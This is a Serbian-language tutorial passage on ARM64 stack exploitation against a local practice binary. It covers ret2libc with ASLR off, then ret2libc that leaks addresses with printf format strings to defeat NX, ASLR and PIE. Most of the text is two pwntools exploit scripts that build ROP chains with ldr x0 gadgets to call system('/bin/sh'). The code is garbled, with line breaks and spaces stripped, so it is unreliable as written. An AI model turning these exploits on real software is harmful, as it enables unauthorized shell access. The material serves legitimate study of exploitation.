Kreiranje obrasca sa pattern create 200, korišćenje istog i provera pomaka sa pattern search $x30 pokazuje da je pomak 108 (0x6c).
Pogledom na rastavljenu glavnu funkciju možemo videti da bismo želeli da skočimo na instrukciju za skok direktno na printf, čiji je pomak od mesta učitavanja binarnog fajla 0x860:
Pronađi sistem i string /bin/sh
S obzirom da je ASLR onemogućen, adrese će uvek biti iste:
Pronađi Gadgete
Potrebno je da u x0 bude adresa stringa /bin/sh i poziv system funkcije.
Ovaj uređaj će učitati x0 sa $sp + 0x18 a zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim uređajem možemo kontrolisati prvi argument i zatim skočiti na sistem.
Napad
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - Bajpas NX, ASLR i PIE sa printf otkrivanjem sa steka
Ovaj uređaj će učitati x0 sa $sp + 0x78 a zatim učitati adrese x29 i x30 sa sp i skočiti na x30. Dakle, sa ovim uređajem možemo kontrolisati prvi argument i zatim skočiti na sistem.
Napad
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()